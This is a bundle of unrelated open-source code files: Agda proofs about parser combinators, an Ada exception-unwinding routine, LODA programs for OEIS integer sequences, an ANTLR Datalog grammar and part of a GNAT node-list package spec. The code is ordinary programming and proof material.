TotalParserCombinators/ExpressiveStrength.agda | nad/parser-combinators | 1 | 10975 | <reponame>nad/parser-combinators
------------------------------------------------------------------------
-- This module proves that the parser combinators correspond exactly
-- to functions of type List Tok → List R (if bag equality is used for
-- the lists of results)
------------------------------------------------------------------------
module TotalParserCombinators.ExpressiveStrength where
open import Codata.Musical.Notation
open import Data.Bool
open import Data.List as List
open import Data.List.Membership.Propositional
import Data.List.Properties as ListProp
open import Data.List.Relation.Binary.BagAndSetEquality
open import Data.List.Relation.Unary.Any
open import Data.List.Reverse
open import Data.Product
open import Function.Base
open import Function.Inverse using (_↔_)
import Function.Related as Related
open import Relation.Binary.PropositionalEquality as P
using (_≡_; refl)
open import Relation.Binary.HeterogeneousEquality
using (_≅_; _≇_; refl)
open import Relation.Nullary
open Related using (SK-sym)
open import TotalParserCombinators.Parser
open import TotalParserCombinators.Semantics as S
hiding (_≅_; _∼[_]_; token)
open import TotalParserCombinators.Lib
private
open module Tok = Token Bool _≟_ using (tok)
open import TotalParserCombinators.BreadthFirst as Backend
using (parse)
------------------------------------------------------------------------
-- Expressive strength
-- One direction of the correspondence has already been established:
-- For every parser there is an equivalent function.
parser⇒fun : ∀ {R xs} (p : Parser Bool R xs) {x s} →
x ∈ p · s ↔ x ∈ parse p s
parser⇒fun p = Backend.parse-correct
-- For every function there is a corresponding parser.
module Monadic where
-- The parser.
grammar : ∀ {Tok R} (f : List Tok → List R) → Parser Tok R (f [])
grammar f = token >>= (λ t → ♯ grammar (f ∘ _∷_ t))
∣ return⋆ (f [])
-- Correctness proof.
grammar-correct : ∀ {Tok R} (f : List Tok → List R) {x s} →
x ∈ grammar f · s ↔ x ∈ f s
grammar-correct f {s = s} = record
{ to = P.→-to-⟶ (sound f)
; from = P.→-to-⟶ (complete f s)
; inverse-of = record
{ left-inverse-of = complete∘sound f
; right-inverse-of = sound∘complete f s
}
}
where
sound : ∀ {Tok R x s} (f : List Tok → List R) →
x ∈ grammar f · s → x ∈ f s
sound f (∣-right ._ x∈) with Return⋆.sound (f []) x∈
... | (refl , x∈′) = x∈′
sound f (∣-left (S.token {t} >>= x∈)) = sound (f ∘ _∷_ t) x∈
complete : ∀ {Tok R x} (f : List Tok → List R) s →
x ∈ f s → x ∈ grammar f · s
complete f [] x∈ = ∣-right [] (Return⋆.complete x∈)
complete f (t ∷ s) x∈ =
∣-left ([ ○ - ◌ ] S.token >>= complete (f ∘ _∷_ t) s x∈)
complete∘sound : ∀ {Tok R x s} (f : List Tok → List R)
(x∈pf : x ∈ grammar f · s) →
complete f s (sound f x∈pf) ≡ x∈pf
complete∘sound f (∣-left (S.token {t} >>= x∈))
rewrite complete∘sound (f ∘ _∷_ t) x∈ = refl
complete∘sound f (∣-right .[] x∈)
with Return⋆.sound (f []) x∈ | Return⋆.complete∘sound (f []) x∈
complete∘sound f (∣-right .[] .(Return⋆.complete x∈f[]))
| (refl , x∈f[]) | refl = refl
sound∘complete : ∀ {Tok R x} (f : List Tok → List R) s
(x∈fs : x ∈ f s) →
sound f (complete f s x∈fs) ≡ x∈fs
sound∘complete f (t ∷ s) x∈ = sound∘complete (f ∘ _∷_ t) s x∈
sound∘complete {Tok} f [] x∈
with Return⋆.sound {Tok = Tok} (f []) (Return⋆.complete x∈)
| Return⋆.sound∘complete {Tok = Tok} x∈
... | (refl , .x∈) | refl = refl
-- A corollary.
maximally-expressive :
∀ {Tok R} (f : List Tok → List R) {s} →
parse (grammar f) s ∼[ bag ] f s
maximally-expressive f {s} {x} =
(x ∈ parse (grammar f) s) ↔⟨ SK-sym Backend.parse-correct ⟩
x ∈ grammar f · s ↔⟨ grammar-correct f ⟩
x ∈ f s ∎
where open Related.EquationalReasoning
-- If the token type is finite (in this case Bool), then the result
-- above can be established without the use of bind (_>>=_). (The
-- definition of tok uses bind, but if bind were removed it would be
-- reasonable to either add tok as a primitive combinator, or make it
-- possible to define tok using other combinators.)
module Applicative where
-- A helper function.
specialise : {A B : Set} → (List A → B) → A → (List A → B)
specialise f x = λ xs → f (xs ∷ʳ x)
-- The parser.
grammar : ∀ {R} (f : List Bool → List R) → Parser Bool R (f [])
grammar f =
♯ (const <$> grammar (specialise f true )) ⊛ tok true
∣ ♯ (const <$> grammar (specialise f false)) ⊛ tok false
∣ return⋆ (f [])
-- Correctness proof.
grammar-correct : ∀ {R} (f : List Bool → List R) {x s} →
x ∈ grammar f · s ↔ x ∈ f s
grammar-correct {R} f {s = s} = record
{ to = P.→-to-⟶ (sound f)
; from = P.→-to-⟶ (complete f (reverseView s))
; inverse-of = record
{ right-inverse-of = sound∘complete f (reverseView s)
; left-inverse-of = λ x∈ →
complete∘sound f (reverseView s) _ x∈ refl refl
}
}
where
sound : ∀ {x : R} {s} f → x ∈ grammar f · s → x ∈ f s
sound f (∣-right ._ x∈) with Return⋆.sound (f []) x∈
... | (refl , x∈′) = x∈′
sound f (∣-left (∣-left (<$> x∈ ⊛ t∈))) with Tok.sound true t∈
... | (refl , refl) = sound (specialise f true ) x∈
sound f (∣-left (∣-right ._ (<$> x∈ ⊛ t∈))) with Tok.sound false t∈
... | (refl , refl) = sound (specialise f false) x∈
complete : ∀ {x : R} {s} f → Reverse s →
x ∈ f s → x ∈ grammar f · s
complete f [] x∈ = ∣-right [] (Return⋆.complete x∈)
complete f (bs ∶ rs ∶ʳ true ) x∈ =
∣-left {xs₁ = []} (∣-left (
[ ◌ - ○ ] <$> complete (specialise f true ) rs x∈ ⊛ Tok.complete))
complete f (bs ∶ rs ∶ʳ false) x∈ =
∣-left (∣-right [] (
[ ◌ - ○ ] <$> complete (specialise f false) rs x∈ ⊛ Tok.complete))
sound∘complete : ∀ {x : R} {s} f (rs : Reverse s) (x∈fs : x ∈ f s) →
sound f (complete f rs x∈fs) ≡ x∈fs
sound∘complete f [] x∈
rewrite Return⋆.sound∘complete {Tok = Bool} x∈ = refl
sound∘complete f (bs ∶ rs ∶ʳ true) x∈ =
sound∘complete (specialise f true) rs x∈
sound∘complete f (bs ∶ rs ∶ʳ false) x∈ =
sound∘complete (specialise f false) rs x∈
complete∘sound : ∀ {x : R} {s s′ : List Bool}
f (rs : Reverse s) (rs′ : Reverse s′)
(x∈pf : x ∈ grammar f · s) → s ≡ s′ → rs ≅ rs′ →
complete f rs (sound f x∈pf) ≡ x∈pf
complete∘sound f rs rs′ (∣-right ._ x∈) s≡ rs≅
with Return⋆.sound (f []) x∈
| Return⋆.complete∘sound (f []) x∈
complete∘sound f ._ [] (∣-right ._ .(Return⋆.complete x∈′)) refl refl | (refl , x∈′) | refl = refl
complete∘sound f _ ([] ∶ _ ∶ʳ _) (∣-right ._ .(Return⋆.complete x∈′)) () _ | (refl , x∈′) | refl
complete∘sound f _ ((_ ∷ _) ∶ _ ∶ʳ _) (∣-right ._ .(Return⋆.complete x∈′)) () _ | (refl , x∈′) | refl
complete∘sound f rs rs′ (∣-left (∣-left (<$> x∈ ⊛ t∈))) s≡ rs≅ with Tok.sound true t∈
complete∘sound f rs (bs′ ∶ rs′ ∶ʳ true) (∣-left (∣-left (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl)
with proj₁ $ ListProp.∷ʳ-injective bs bs′ s≡
complete∘sound f rs (.bs ∶ rs′ ∶ʳ true) (∣-left (∣-left (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl) | refl with s≡ | rs≅
complete∘sound f ._ (.bs ∶ rs′ ∶ʳ true) (∣-left (∣-left (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl) | refl | refl | refl
rewrite complete∘sound (specialise f true) rs′ rs′ x∈ refl refl
| Tok.η t∈ = refl
complete∘sound f rs (bs′ ∶ rs′ ∶ʳ false) (∣-left (∣-left (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl)
with proj₂ $ ListProp.∷ʳ-injective bs bs′ s≡
... | ()
complete∘sound f rs [] (∣-left (∣-left (_⊛_ {s₁ = []} (<$> x∈) t∈))) () _ | (refl , refl)
complete∘sound f rs [] (∣-left (∣-left (_⊛_ {s₁ = _ ∷ _} (<$> x∈) t∈))) () _ | (refl , refl)
complete∘sound f rs rs′ (∣-left (∣-right ._ (<$> x∈ ⊛ t∈))) s≡ rs≅ with Tok.sound false t∈
complete∘sound f rs (bs′ ∶ rs′ ∶ʳ false) (∣-left (∣-right ._ (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl)
with proj₁ $ ListProp.∷ʳ-injective bs bs′ s≡
complete∘sound f rs (.bs ∶ rs′ ∶ʳ false) (∣-left (∣-right ._ (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl) | refl with s≡ | rs≅
complete∘sound f ._ (.bs ∶ rs′ ∶ʳ false) (∣-left (∣-right ._ (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl) | refl | refl | refl
rewrite complete∘sound (specialise f false) rs′ rs′ x∈ refl refl
| Tok.η t∈ = refl
complete∘sound f rs (bs′ ∶ rs′ ∶ʳ true) (∣-left (∣-right ._ (_⊛_ {s₁ = bs} (<$> x∈) t∈))) s≡ rs≅ | (refl , refl)
with proj₂ $ ListProp.∷ʳ-injective bs bs′ s≡
... | ()
complete∘sound f rs [] (∣-left (∣-right ._ (_⊛_ {s₁ = []} (<$> x∈) t∈))) () _ | (refl , refl)
complete∘sound f rs [] (∣-left (∣-right ._ (_⊛_ {s₁ = _ ∷ _} (<$> x∈) t∈))) () _ | (refl , refl)
-- A corollary.
maximally-expressive :
∀ {R} (f : List Bool → List R) {s} →
parse (grammar f) s ∼[ bag ] f s
maximally-expressive f {s} {x} =
(x ∈ parse (grammar f) s) ↔⟨ SK-sym Backend.parse-correct ⟩
x ∈ grammar f · s ↔⟨ grammar-correct f ⟩
x ∈ f s ∎
where open Related.EquationalReasoning
|
source/sjlj/s-unwsea.adb | ytomino/drake | 33 | 30634 | <filename>source/sjlj/s-unwsea.adb
pragma Check_Policy (Trace => Ignore);
with Ada.Unchecked_Conversion;
with System.Address_To_Constant_Access_Conversions;
with System.Storage_Elements;
with System.Unwind.Representation;
with C.unwind_pe;
package body System.Unwind.Searching is
pragma Suppress (All_Checks);
use type Storage_Elements.Storage_Offset;
use type C.ptrdiff_t;
use type C.signed_int;
use type C.size_t;
use type C.unsigned_char;
use type C.unsigned_char_const_ptr;
use type C.unsigned_int; -- _Unwind_Ptr is unsigned int or unsigned long
use type C.unsigned_long;
use type C.unsigned_long_long;
use type C.unwind.sleb128_t;
Foreign_Exception : aliased Exception_Data
with Import,
Convention => Ada,
External_Name => "system__exceptions__foreign_exception";
package unsigned_char_const_ptr_Conv is
new Address_To_Constant_Access_Conversions (
C.unsigned_char,
C.unsigned_char_const_ptr);
function "+" (Left : C.unsigned_char_const_ptr; Right : C.ptrdiff_t)
return C.unsigned_char_const_ptr
with Convention => Intrinsic;
pragma Inline_Always ("+");
function "+" (Left : C.unsigned_char_const_ptr; Right : C.ptrdiff_t)
return C.unsigned_char_const_ptr is
begin
return unsigned_char_const_ptr_Conv.To_Pointer (
unsigned_char_const_ptr_Conv.To_Address (Left)
+ Storage_Elements.Storage_Offset (Right));
end "+";
-- implementation
function Personality (
ABI_Version : C.signed_int;
Phases : C.unwind.Unwind_Action;
Exception_Class : C.unwind.Unwind_Exception_Class;
Exception_Object : access C.unwind.struct_Unwind_Exception;
Context : access C.unwind.struct_Unwind_Context)
return C.unwind.Unwind_Reason_Code
is
function To_GNAT is
new Ada.Unchecked_Conversion (
C.unwind.struct_Unwind_Exception_ptr,
Representation.Machine_Occurrence_Access);
function Cast is
new Ada.Unchecked_Conversion (
C.unwind.struct_Unwind_Exception_ptr,
C.unwind.Unwind_Word);
function Cast is
new Ada.Unchecked_Conversion (
Exception_Data_Access,
C.unwind.Unwind_Ptr);
function Cast is
new Ada.Unchecked_Conversion (C.char_const_ptr, C.unwind.Unwind_Ptr);
GCC_Exception : constant Representation.Machine_Occurrence_Access :=
To_GNAT (Exception_Object);
landing_pad : C.unwind.Unwind_Ptr;
ttype_filter : C.unwind.Unwind_Sword; -- 0 => finally, others => handler
begin
pragma Check (Trace, Ada.Debug.Put ("enter"));
if ABI_Version /= 1 then
pragma Check (Trace, Ada.Debug.Put ("leave, ABI_Version /= 1"));
return C.unwind.URC_FATAL_PHASE1_ERROR;
end if;
if Exception_Class = Representation.GNAT_Exception_Class
and then C.unsigned_int (Phases) =
(C.unwind.UA_CLEANUP_PHASE or C.unwind.UA_HANDLER_FRAME)
then
landing_pad := GCC_Exception.landing_pad;
ttype_filter := GCC_Exception.ttype_filter;
pragma Check (Trace, Ada.Debug.Put ("shortcut!"));
else
declare
-- about region
lsda : C.void_ptr;
base : C.unwind.Unwind_Ptr;
call_site_table : C.unsigned_char_const_ptr;
lp_base : aliased C.unwind.Unwind_Ptr;
action_table : C.unsigned_char_const_ptr;
ttype_encoding : C.unsigned_char;
ttype_table : C.unsigned_char_const_ptr;
ttype_base : C.unwind.Unwind_Ptr;
-- about action
table_entry : C.unsigned_char_const_ptr;
begin
if Context = null then
pragma Check (Trace, Ada.Debug.Put ("leave, Context = null"));
return C.unwind.URC_CONTINUE_UNWIND;
end if;
lsda := C.unwind.Unwind_GetLanguageSpecificData (Context);
if Address (lsda) = Null_Address then
pragma Check (Trace, Ada.Debug.Put ("leave, lsda = null"));
return C.unwind.URC_CONTINUE_UNWIND;
end if;
base := C.unwind.Unwind_GetRegionStart (Context);
declare
p : C.unsigned_char_const_ptr :=
unsigned_char_const_ptr_Conv.To_Pointer (Address (lsda));
tmp : aliased C.unwind.uleb128_t;
lpbase_encoding : C.unsigned_char;
begin
lpbase_encoding := p.all;
p := p + 1;
if lpbase_encoding /= C.unwind_pe.DW_EH_PE_omit then
p := C.unwind_pe.read_encoded_value (
Context,
lpbase_encoding,
p,
lp_base'Access);
else
lp_base := base;
end if;
ttype_encoding := p.all;
p := p + 1;
if ttype_encoding /= C.unwind_pe.DW_EH_PE_omit then
p := C.unwind_pe.read_uleb128 (p, tmp'Access);
ttype_table := p + C.ptrdiff_t (tmp);
else
pragma Check (Trace,
Check =>
Ada.Debug.Put ("ttype_encoding = DW_EH_PE_omit"));
ttype_table := null; -- be access violation ?
end if;
ttype_base :=
C.unwind_pe.base_of_encoded_value (ttype_encoding, Context);
p := p + 1;
call_site_table := C.unwind_pe.read_uleb128 (p, tmp'Access);
action_table := call_site_table + C.ptrdiff_t (tmp);
end;
declare
p : C.unsigned_char_const_ptr := call_site_table;
ip_before_insn : aliased C.signed_int := 0;
ip : C.unwind.Unwind_Ptr :=
C.unwind.Unwind_GetIPInfo (Context, ip_before_insn'Access);
call_site : C.signed_int;
begin
if ip_before_insn = 0 then
pragma Check (Trace, Ada.Debug.Put ("ip_before_insn = 0"));
ip := ip - 1;
end if;
call_site := C.signed_int (ip);
if call_site <= 0 then
pragma Check (Trace,
Check => Ada.Debug.Put ("leave, no action or terminate"));
return C.unwind.URC_CONTINUE_UNWIND;
end if;
loop
declare
cs_lp : aliased C.unwind.uleb128_t;
cs_action : aliased C.unwind.uleb128_t;
begin
p := C.unwind_pe.read_uleb128 (p, cs_lp'Access);
p := C.unwind_pe.read_uleb128 (p, cs_action'Access);
call_site := call_site - 1;
if call_site = 0 then
landing_pad := C.unwind.Unwind_Ptr (cs_lp + 1);
if cs_action /= 0 then
table_entry :=
action_table + C.ptrdiff_t (cs_action - 1);
else
table_entry := null;
end if;
exit;
end if;
end;
end loop;
end;
-- landing_pad is found in here
if table_entry = null then
ttype_filter := 0;
else
declare
ttype_size : constant C.ptrdiff_t :=
C.ptrdiff_t (
C.unwind_pe.size_of_encoded_value (ttype_encoding));
p : C.unsigned_char_const_ptr := table_entry;
ar_filter, ar_disp : aliased C.unwind.sleb128_t;
begin
loop
p := C.unwind_pe.read_sleb128 (p, ar_filter'Access);
declare
Dummy : C.unsigned_char_const_ptr;
begin
Dummy := C.unwind_pe.read_sleb128 (p, ar_disp'Access);
end;
if ar_filter = 0 then
ttype_filter := 0;
if ar_disp = 0 then
pragma Check (Trace, Ada.Debug.Put ("finally"));
exit;
end if;
elsif ar_filter > 0
and then (C.unsigned_int (Phases)
and C.unwind.UA_FORCE_UNWIND) = 0
then
declare
filter : constant C.ptrdiff_t :=
C.ptrdiff_t (ar_filter) * ttype_size;
choice : aliased C.unwind.Unwind_Ptr;
is_handled : Boolean;
Dummy : C.unsigned_char_const_ptr;
begin
Dummy := C.unwind_pe.read_encoded_value_with_base (
ttype_encoding,
ttype_base,
ttype_table + (-filter),
choice'Access);
if Exception_Class =
Representation.GNAT_Exception_Class
then
is_handled :=
choice = Cast (GCC_Exception.Occurrence.Id)
or else (
not GCC_Exception.Occurrence.Id
.Not_Handled_By_Others
and then choice =
Cast (Others_Value'Access))
or else choice =
Cast (All_Others_Value'Access);
else
pragma Check (Trace,
Check => Ada.Debug.Put ("foreign exception"));
is_handled :=
choice = Cast (Foreign_Exception'Access)
or else choice = Cast (Others_Value'Access)
or else choice =
Cast (All_Others_Value'Access);
end if;
if is_handled then
ttype_filter :=
C.unwind.Unwind_Sword (ar_filter);
pragma Check (Trace,
Check => Ada.Debug.Put ("handler is found"));
exit;
end if;
end;
else
pragma Check (Trace, Ada.Debug.Put ("ar_filter < 0"));
null;
end if;
if ar_disp = 0 then
pragma Check (Trace,
Check => Ada.Debug.Put ("leave, ar_disp = 0"));
return C.unwind.URC_CONTINUE_UNWIND;
end if;
p := p + C.ptrdiff_t (ar_disp);
end loop;
end;
end if;
-- ttype_filter is found (or 0) in here
if (C.unsigned_int (Phases) and C.unwind.UA_SEARCH_PHASE) /= 0 then
if ttype_filter = 0 then -- cleanup
pragma Check (Trace,
Check =>
Ada.Debug.Put ("leave, UA_SEARCH_PHASE, cleanup"));
return C.unwind.URC_CONTINUE_UNWIND;
else
-- Setup_Current_Excep (GCC_Exception);
null; -- exception tracing (a-exextr.adb) is not implementd.
-- shortcut for phase2
if Exception_Class = Representation.GNAT_Exception_Class then
pragma Check (Trace, Ada.Debug.Put ("save for shortcut"));
GCC_Exception.landing_pad := landing_pad;
GCC_Exception.ttype_filter := ttype_filter;
end if;
pragma Check (Trace,
Check =>
Ada.Debug.Put (
"leave, UA_SEARCH_PHASE, handler found"));
return C.unwind.URC_HANDLER_FOUND;
end if;
elsif Phases = C.unwind.UA_CLEANUP_PHASE then
if ttype_filter = 0
and then Exception_Class =
Representation.GNAT_Exception_Class
and then GCC_Exception.Stack_Guard /= Null_Address
then
declare
Stack_Pointer : constant C.unwind.Unwind_Word :=
C.unwind.Unwind_GetCFA (Context);
begin
if Stack_Pointer <
C.unwind.Unwind_Word (GCC_Exception.Stack_Guard)
then
pragma Check (Trace,
Check => Ada.Debug.Put ("leave, skip cleanup"));
return C.unwind.URC_CONTINUE_UNWIND;
end if;
end;
end if;
pragma Check (Trace,
Check =>
Ada.Debug.Put (
"UA_CLEANUP_PHASE without UA_HANDLER_FRAME"));
null; -- ???
else
pragma Check (Trace, Ada.Debug.Put ("miscellany phase"));
null; -- ???
end if;
end;
end if;
pragma Check (Trace, Ada.Debug.Put ("unwind!"));
-- setup_to_install (raise-gcc.c)
C.unwind.Unwind_SetGR (
Context,
0, -- builtin_eh_return_data_regno (0),
Cast (C.unwind.struct_Unwind_Exception_ptr (Exception_Object)));
C.unwind.Unwind_SetGR (
Context,
1, -- builtin_eh_return_data_regno (1),
C.unwind.Unwind_Word'Mod (ttype_filter));
C.unwind.Unwind_SetIP (Context, landing_pad);
-- Setup_Current_Excep (GCC_Exception); -- moved to Begin_Handler
pragma Check (Trace, Ada.Debug.Put ("leave"));
return C.unwind.URC_INSTALL_CONTEXT;
end Personality;
end System.Unwind.Searching;
|
programs/oeis/090/A090296.asm | neoneye/loda | 22 | 25463 | ; A090296: a(n) = K_4(n) = Sum_{k>=0} A090285(4,k)*2^k*binomial(n,k). a(n) = 2*(n^4+14*n^3+62*n^2+91*n+21)/3.
; 14,126,386,874,1686,2934,4746,7266,10654,15086,20754,27866,36646,47334,60186,75474,93486,114526,138914,166986,199094,235606,276906,323394,375486,433614,498226,569786,648774,735686,831034,935346,1049166
mov $3,$0
add $3,7
mul $3,$0
mov $1,$3
mov $2,$3
add $2,13
mul $1,$2
div $1,6
mul $1,4
add $1,14
mov $0,$1
|
programs/oeis/055/A055232.asm | neoneye/loda | 22 | 18159 | <reponame>neoneye/loda
; A055232: Expansion of (1+2*x+3*x^2)/((1-x)^3*(1-x^2)).
; 1,5,16,36,69,117,184,272,385,525,696,900,1141,1421,1744,2112,2529,2997,3520,4100,4741,5445,6216,7056,7969,8957,10024,11172,12405,13725,15136,16640,18241,19941,21744,23652,25669,27797,30040,32400
seq $0,89207 ; a(n) = 4n^3 + 2n^2.
add $0,2
div $0,8
|
programs/oeis/221/A221907.asm | neoneye/loda | 22 | 22594 | <reponame>neoneye/loda
; A221907: 5^n + 5*n.
; 1,10,35,140,645,3150,15655,78160,390665,1953170,9765675,48828180,244140685,1220703190,6103515695,30517578200,152587890705,762939453210,3814697265715,19073486328220,95367431640725,476837158203230,2384185791015735,11920928955078240,59604644775390745,298023223876953250,1490116119384765755,7450580596923828260,37252902984619140765,186264514923095703270,931322574615478515775,4656612873077392578280,23283064365386962890785,116415321826934814453290,582076609134674072265795,2910383045673370361328300,14551915228366851806640805,72759576141834259033203310,363797880709171295166015815,1818989403545856475830078320,9094947017729282379150390825,45474735088646411895751953330,227373675443232059478759765835,1136868377216160297393798828340,5684341886080801486968994140845,28421709430404007434844970703350,142108547152020037174224853515855,710542735760100185871124267578360,3552713678800500929355621337890865,17763568394002504646778106689453370,88817841970012523233890533447265875,444089209850062616169452667236328380
mov $1,5
pow $1,$0
mov $2,$0
mul $2,5
add $1,$2
mov $0,$1
|
test/Fail/Issue3882.agda | cruhland/agda | 1,989 | 5002 | {-# OPTIONS --rewriting #-}
data _≡_ {ℓ} {A : Set ℓ} (x : A) : A → Set ℓ where
instance refl : x ≡ x
{-# BUILTIN REWRITE _≡_ #-}
postulate
admit : ∀ {ℓ} {A : Set ℓ} → A
X : Set
postulate
Wrap : Set → Set
wrap : {A : Set} → A → Wrap A
rec : (A : Set) (P : Set) → (A → P) → Wrap A → P
Rec : (A : Set) (P : Set₁) → (A → P) → Wrap A → P
Rec-β : {A : Set} (P : Set₁) → ∀ f → (a : A) → Rec A P f (wrap a) ≡ f a
{-# REWRITE Rec-β #-} -- bug disappears without this
record Σ {ℓ} (A : Set ℓ) (B : A → Set) : Set ℓ where
constructor _,_
field
fst : A
snd : B fst
open Σ public
-- bug disappears if Comp or isFib is not wrapped in a record
record Comp (A : X → Set) : Set where
field
comp : ∀ s → A s
open Comp public
record isFib {Γ : Set} (A : Γ → Set) : Set where
field
lift : (p : X → Γ) → Comp (λ x → A (p x))
open isFib public
compSys : (ψ : X → Set)
(A : Σ X (λ x → Wrap (ψ x)) → Set)
(u : ∀ s → Wrap (ψ s)) (s : X)
→ A (s , u s)
compSys ψ A u s =
rec (∀ i → ψ i) (A (s , u s))
(λ v →
subst (λ s → wrap (v s)) (λ s → u s) admit
.lift (λ s → s) .comp s)
admit
where
subst : (w w' : ∀ i → Wrap (ψ i)) → isFib (λ s → A (s , w s)) → isFib (λ s → A (s , w' s))
subst = admit
-- bug disappears if ×id is inlined
×id : {A A' : Set} {B : A' → Set} (f : A → A') → Σ A (λ x → B (f x)) → Σ A' B
×id f (a , b) = (f a , b)
fib : (ψ : X → Set) (A : Σ X (λ x → Wrap (ψ x)) → Set) → isFib A
fib ψ A .lift p .comp =
compSys (λ x → ψ (p x .fst)) (λ xu → A (×id (λ x → p x .fst) xu)) (λ x → p x .snd)
-- bug seems to disappear if the underscore in (Σ Set _) is filled in
template : (ψ : X → Set) → X → Σ (Σ X (λ x → Wrap (ψ x)) → Set) isFib
template ψ n =
(_ , fib ψ (λ b → Rec (ψ (b .fst)) (Σ Set _) (λ _ → admit) (b .snd) .fst))
eq : {B : Set₁} (f : X → B) {x y : X} → f x ≡ f y
eq = admit
templateEq : (ψ : X → Set) (n₀ : X) → template ψ n₀ ≡ template ψ n₀
templateEq ψ n₀ = eq (template ψ)
|
demo/src/main/antlr4/Datalog.g4 | LumingWu/template-parser | 1 | 1123 | grammar Datalog;
@header {
package antlr4;
import antlr4.*;
}
datalog
: clause* EOF
;
clause
: predicate IF body CLAUSE_END
| predicate CLAUSE_END
;
body
: literal (CONJUNCTION literal)*
;
literal
: predicate
| term BIND term
| term LARGER_THAN term
| term LESS_THAN term
| term NOT_EQUAL term
| term LARGER_THAN_EQUAL term
| term LESS_THAN_EQUAL
;
predicate
: predicate_symbol PREDICATE_OPEN terms PREDICATE_CLOSE
| predicate_symbol PREDICATE_OPEN PREDICATE_CLOSE
| predicate_symbol
;
predicate_symbol
: IDENTIFIER
| STRING
;
terms
: term (CONJUNCTION term)*
;
term
: VARIABLE
| constant
;
constant
: IDENTIFIER
| STRING
;
CONJUNCTION : ',' ;
PREDICATE_OPEN : '(' ;
PREDICATE_CLOSE : ')' ;
CLAUSE_END : '.' ;
IF : ':-' ;
BIND : '=' ;
LARGER_THAN : '>' ;
LESS_THAN : '<' ;
NOT_EQUAL : '!=' ;
LARGER_THAN_EQUAL : '>=' ;
LESS_THAN_EQUAL : '<=' ;
IDENTIFIER : [!#$&*+\-/-9;<>@[-_a-}][!#$&*+\-/-9;<>@A-Z[-_a-}]* ; // exception was [^ "%'\(\).:=\?A-Z`~][^ "%'\(\).:=\?`~]*, added ',' for fix.
VARIABLE : [A-Z][a-zA-Z0-9_]* ;
STRING : '"'('\\"'|'\\n'|'\\\\'|[^"\n\\])*'"' ;
WS : [ \t\r\n]+ -> skip ; // skip spaces, tabs, newlines
|
tools-src/gnu/gcc/gcc/ada/nlists.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 29558 | <gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- N L I S T S --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992-2000 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package provides facilities for manipulating lists of nodes (see
-- package Atree for format and implementation of tree nodes). The Link field
-- of the nodes is used as the forward pointer for these lists. See also
-- package Elists which provides another form of lists that are not threaded
-- through the nodes (and therefore allow nodes to be on multiple lists).
with System;
with Types; use Types;
package Nlists is
-- A node list is a list of nodes in a special format that means that
-- nodes can be on at most one such list. For each node list, a list
-- header is allocated in the lists table, and a List_Id value references
-- this header, which may be used to access the nodes in the list using
-- the set of routines that define this interface.
-- Note: node lists can contain either nodes or entities (extended nodes)
-- or a mixture of nodes and extended nodes.
function Last_List_Id return List_Id;
pragma Inline (Last_List_Id);
-- Returns Id of last allocated list header
function Lists_Address return System.Address;
pragma Inline (Lists_Address);
-- Return address of Lists table (used in Back_End for Gigi call)
function Num_Lists return Nat;
pragma Inline (Num_Lists);
-- Number of currently allocated lists
function New_List return List_Id;
-- Creates a new empty node list. Typically this is used to initialize
-- a field in some other node which points to a node list where the list
-- is then subsequently filled in using Append calls.
function Empty_List return List_Id renames New_List;
-- Used in contexts where an empty list (as opposed to an initially empty
-- list to be filled in) is required.
function New_List (Node : Node_Id) return List_Id;
-- Build a new list initially containing the given node
function New_List (Node1, Node2 : Node_Id) return List_Id;
-- Build a new list initially containing the two given nodes
function New_List (Node1, Node2, Node3 : Node_Id) return List_Id;
-- Build a new list initially containing the three given nodes
function New_List (Node1, Node2, Node3, Node4 : Node_Id) return List_Id;
-- Build a new list initially containing the four given nodes
function New_List
(Node1 : Node_Id;
Node2 : Node_Id;
Node3 : Node_Id;
Node4 : Node_Id;
Node5 : Node_Id)
return List_Id;
-- Build a new list initially containing the five given nodes
function New_List
(Node1 : Node_Id;
Node2 : Node_Id;
Node3 : Node_Id;
Node4 : Node_Id;
Node5 : Node_Id;
Node6 : Node_Id)
return List_Id;
-- Build a new list initially containing the five given nodes
function New_Copy_List (List : List_Id) return List_Id;
-- Creates a new list containing copies (made with Atree.New_Copy) of every
-- node in the original list. If the argument is No_List, then the returned
-- result is No_List. If the argument is an empty list, then the returned
-- result is a new empty list.
function New_Copy_List_Original (List : List_Id) return List_Id;
-- Same as New_Copy_List but copies only nodes coming from source
function New_Copy_List_Tree (List : List_Id) return List_Id;
-- Similar to New_Copy_List, except that the copies are done using the
-- Atree.New_Copy_Tree function, which means that a full recursive copy
-- of the subtrees in the list is performed, setting proper parents. As
-- for New_Copy_Tree, it is illegal to attempt to copy extended nodes
-- (entities) either directly or indirectly using this function.
function First (List : List_Id) return Node_Id;
pragma Inline (First);
-- Obtains the first element of the given node list or, if the node list
-- has no items or is equal to No_List, then Empty is returned.
